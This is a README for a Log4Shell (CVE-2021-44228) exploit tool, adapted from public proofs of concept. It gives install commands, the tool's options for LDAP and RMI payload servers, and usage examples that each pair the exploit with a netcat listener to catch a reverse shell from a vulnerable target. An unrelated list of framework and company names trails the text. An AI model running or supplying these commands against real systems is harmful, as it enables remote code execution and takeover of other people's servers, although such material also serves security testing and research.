[!] CVE: CVE-2021-44228
[!] Based on https://github.com/kozmer/log4j-shell-poc
[!] And https://www.veracode.com/blog/research/exploiting-jndi-injections-java
[!] And https://github.com/cyberxml/log4j-poc
[!] But with poetry and simple to run :) by @shoxxdj
First time, run the run_me_first.sh script.
./run_me_first.sh
poetry install
poetry run log4shell --userip listenerIP --lport netcatPort
Options :
Log4Shell Exploit Tool
options:
-h, --help show this help message and exit
--userip USERIP Enter IP for LDAPRefServer & Shell
--webport WEBPORT listener port for HTTP port
--rmiport RMIPORT listener port for RMI server
--lport LPORT Netcat Port
--ljava LJAVA Local Java Binaries Location
--gen GEN Generate multiple payloads
--method METHOD LDAP or RMI or all
--references Print references
Ldap server
Shell1:
poetry run log4shell --userip X.X.X.X --lport 1337 --method ldap
Shell2:
nc -lvp 1337
Rmi server
Shell1:
poetry run log4shell --userip 192.168.1.65 --lport 1337 --method rmi
Shell2:
nc -lvp 1337
Rmi with custom port:
Shell1:
poetry run log4shell --userip 192.168.1.65 --lport 1337 --rmiport 7777 --method rmi
Shell2:
nc -lvp 1337
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent